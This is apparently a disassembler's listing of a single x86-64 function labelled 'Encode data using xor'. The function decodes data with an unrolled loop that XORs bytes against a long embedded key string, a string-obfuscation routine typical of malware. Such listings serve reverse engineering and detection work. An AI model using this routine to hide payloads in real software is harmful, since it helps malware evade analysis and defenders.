Function at 0x14000ab90
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rbx, rcx
mov ecx, 0x18
call fcn.14000d11c
xor esi, esi
mov rdi, rax
mov qword [rax], rsi
lea ecx, [rsi + 0x14]
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rsi
call fcn.14000d11c
mov qword [rdi], rax
lea r9d, [rsi + 2]
xorps xmm0, xmm0
lea r8, [rbx + 2]
mov r11d, 1
mov ebp, r9d
lea rcx, [rax + 0x14]
mov r14d, 3
mov qword [rdi + 0x10], rcx
mov r15d, 4
movups xmmword [rax], xmm0
xor ecx, ecx
mov r12d, 5
mov dword [rax + 0x10], ecx
mov r13d, 6
add rax, 0x14
lea rcx, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
mov qword [rdi + 8], rax
sub r11, rbx
mov eax, 7
sub rbp, rbx
sub rax, rbx
sub r14, rbx
mov qword [rsp + 0xc0], rax
sub r15, rbx
mov eax, 8
sub r12, rbx
sub rax, rbx
sub r13, rbx
mov qword [rsp + 0xc8], rax
mov r10, rbx
mov eax, 9
not r10
sub rax, rbx
mov qword [rsp + 0x20], rax
mov eax, 0xa
sub rax, rbx
mov qword [rsp + 0x28], rax
mov eax, 0xb
sub rax, rbx
mov qword [rsp + 0x30], rax
mov eax, 0xc
sub rax, rbx
mov qword [rsp + 0x38], rax
mov eax, 0xd
sub rax, rbx
mov qword [rsp + 0x40], rax
mov eax, 0xe
sub rax, rbx
mov qword [rsp + 0x48], rax
mov eax, 0xf
sub rax, rbx
mov qword [rsp + 0x50], rax
mov eax, 0x10
sub rax, rbx
mov qword [rsp + 0x58], rax
mov eax, 0x11
sub rax, rbx
mov qword [rsp + 0x60], rax
mov rax, 0xfffffffffffffffe
sub rax, rbx
mov qword [rsp + 0xb8], rax
movabs rax, 0x905a38633e06c43b
mul rsi
shr rdx, 7
imul rax, rdx, 0xe3
movzx edx, byte [r8 - 2]
sub rsi, rax
mov rax, qword [rsp + 0xb8]
xor dl, byte [rsi + rcx]
movabs rsi, 0x905a38633e06c43b
mov rcx, qword [rdi]
add rcx, r8
mov byte [rcx + rax], dl
mov rax, rsi
movsxd rcx, r9d
dec rcx
mul rcx
shr rdx, 7
imul rax, rdx, 0xe3
movzx edx, byte [r8 - 1]
sub rcx, rax
lea rax, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
xor dl, byte [rcx + rax]
lea rcx, [r8 + r10]
mov rax, qword [rdi]
mov byte [rcx + rax], dl
mov rax, rsi
movsxd rcx, r9d
mul rcx
shr rdx, 7
imul rax, rdx, 0xe3
movzx edx, byte [r8]
sub rcx, rax
lea rax, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
xor dl, byte [rcx + rax]
mov rcx, r8
mov rax, qword [rdi]
sub rcx, rbx
mov byte [rcx + rax], dl
mov rax, rsi
movsxd rcx, r9d
inc rcx
mul rcx
shr rdx, 7
imul rax, rdx, 0xe3
movzx edx, byte [r8 + 1]
sub rcx, rax
lea rax, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
xor dl, byte [rcx + rax]
mov rax, rsi
mov rcx, qword [rdi]
add rcx, r8
mov byte [rcx + r11], dl
movsxd rcx, r9d
add rcx, 2
mul rcx
shr rdx, 7
imul rax, rdx, 0xe3
movzx edx, byte [r8 + 2]
sub rcx, rax
lea rax, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
xor dl, byte [rcx + rax]
mov rax, rsi
mov rcx, qword [rdi]
add rcx, r8
mov byte [rcx + rbp], dl
movsxd rcx, r9d
add rcx, 3
mul rcx
shr rdx, 7
imul rax, rdx, 0xe3
movzx edx, byte [r8 + 3]
sub rcx, rax
lea rax, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
xor dl, byte [rcx + rax]
mov rax, rsi
mov rcx, qword [rdi]
add rcx, r8
mov byte [rcx + r14], dl
movsxd rcx, r9d
add rcx, 4
mul rcx
shr rdx, 7
imul rax, rdx, 0xe3
movzx edx, byte [r8 + 4]
sub rcx, rax
lea rax, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
xor dl, byte [rcx + rax]
mov rax, rsi
mov rcx, qword [rdi]
add rcx, r8
mov byte [rcx + r15], dl
movsxd rcx, r9d
add rcx, 5
mul rcx
shr rdx, 7
imul rax, rdx, 0xe3
movzx edx, byte [r8 + 5]
sub rcx, rax
lea rax, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
xor dl, byte [rcx + rax]
mov rax, rsi
mov rcx, qword [rdi]
add rcx, r8
mov byte [rcx + r12], dl
movsxd rcx, r9d
add rcx, 6
mul rcx
shr rdx, 7
imul rax, rdx, 0xe3
movzx edx, byte [r8 + 6]
sub rcx, rax
lea rax, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
xor dl, byte [rcx + rax]
mov rax, rsi
mov rcx, qword [rdi]
add rcx, r8
mov byte [rcx + r13], dl
movsxd rcx, r9d
add rcx, 7
mul rcx
shr rdx, 7
imul rax, rdx, 0xe3
movzx edx, byte [r8 + 7]
sub rcx, rax
lea rax, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
xor dl, byte [rcx + rax]
mov rcx, qword [rdi]
mov rax, qword [rsp + 0xc0]
add rcx, r8
mov byte [rcx + rax], dl
mov rax, rsi
movsxd rcx, r9d
add rcx, 8
mul rcx
shr rdx, 7
imul rax, rdx, 0xe3
movzx edx, byte [r8 + 8]
sub rcx, rax
lea rax, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
xor dl, byte [rcx + rax]
mov rcx, qword [rdi]
mov rax, qword [rsp + 0xc8]
add rcx, r8
mov byte [rcx + rax], dl
mov rax, rsi
movsxd rcx, r9d
add rcx, 9
mul rcx
shr rdx, 7
imul rax, rdx, 0xe3
movzx edx, byte [r8 + 9]
sub rcx, rax
lea rax, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
xor dl, byte [rcx + rax]
mov rcx, qword [rdi]
mov rax, qword [rsp + 0x20]
add rcx, r8
mov byte [rcx + rax], dl
mov rax, rsi
movsxd rcx, r9d
add rcx, 0xa
mul rcx
shr rdx, 7
imul rax, rdx, 0xe3
movzx edx, byte [r8 + 0xa]
sub rcx, rax
lea rax, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
xor dl, byte [rcx + rax]
mov rcx, qword [rdi]
mov rax, qword [rsp + 0x28]
add rcx, r8
mov byte [rcx + rax], dl
mov rax, rsi
movsxd rcx, r9d
add rcx, 0xb
mul rcx
shr rdx, 7
imul rax, rdx, 0xe3
movzx edx, byte [r8 + 0xb]
sub rcx, rax
lea rax, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
xor dl, byte [rcx + rax]
mov rcx, qword [rdi]
mov rax, qword [rsp + 0x30]
add rcx, r8
mov byte [rcx + rax], dl
mov rax, rsi
movsxd rcx, r9d
add rcx, 0xc
mul rcx
shr rdx, 7
imul rax, rdx, 0xe3
movzx edx, byte [r8 + 0xc]
sub rcx, rax
lea rax, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
xor dl, byte [rcx + rax]
mov rcx, qword [rdi]
mov rax, qword [rsp + 0x38]
add rcx, r8
mov byte [rcx + rax], dl
mov rax, rsi
movsxd rcx, r9d
add rcx, 0xd
mul rcx
shr rdx, 7
imul rax, rdx, 0xe3
movzx edx, byte [r8 + 0xd]
sub rcx, rax
lea rax, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
xor dl, byte [rcx + rax]
mov rcx, qword [rdi]
mov rax, qword [rsp + 0x40]
add rcx, r8
mov byte [rcx + rax], dl
mov rax, rsi
movsxd rcx, r9d
add rcx, 0xe
mul rcx
shr rdx, 7
imul rax, rdx, 0xe3
movzx edx, byte [r8 + 0xe]
sub rcx, rax
lea rax, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
xor dl, byte [rcx + rax]
mov rcx, qword [rdi]
mov rax, qword [rsp + 0x48]
add rcx, r8
mov byte [rcx + rax], dl
mov rax, rsi
movsxd rcx, r9d
add rcx, 0xf
mul rcx
shr rdx, 7
imul rax, rdx, 0xe3
movzx edx, byte [r8 + 0xf]
sub rcx, rax
lea rax, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
xor dl, byte [rcx + rax]
mov rcx, qword [rdi]
mov rax, qword [rsp + 0x50]
add rcx, r8
mov byte [rcx + rax], dl
movsxd rcx, r9d
add rcx, 0x10
mov rax, rsi
mul rcx
shr rdx, 7
imul rax, rdx, 0xe3
movzx edx, byte [r8 + 0x10]
sub rcx, rax
lea rax, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
xor dl, byte [rcx + rax]
mov rcx, qword [rdi]
mov rax, qword [rsp + 0x58]
add rcx, r8
mov byte [rcx + rax], dl
mov rax, rsi
movsxd rcx, r9d
add r9d, 0x14
add rcx, 0x11
mul rcx
shr rdx, 7
imul rax, rdx, 0xe3
movzx edx, byte [r8 + 0x11]
sub rcx, rax
lea rax, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
xor dl, byte [rcx + rax]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rdi]
add rcx, r8
add r8, 0x14
mov byte [rcx + rax], dl
lea eax, [r9 - 2]
movsxd rsi, eax
lea rcx, str.Dls_wOomOeUXehgiYhYErbkPuzkuvTaJgWHSrBfXsyIGVBNycLFmqnNGKJgtBCtRmBQFaNvdeRjcXAljLuXupzBxUgObfyvuAlnezWwVBhfgqBHrhVvWBBBJPESAfdpyItAYEbiAisTEvnqIjxmpdfvlPcqHOlnaPvkVOripKEvWI_jDFjflwALBekALVFUFbaHRoKjdGVUtEOoXAsyQghEOleFZeZGaoR
movabs rax, 0x905a38633e06c43b
cmp rsi, 0x14
jb 0x14000ace0
mov rbx, qword [rsp + 0xb0]
mov rax, rdi
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret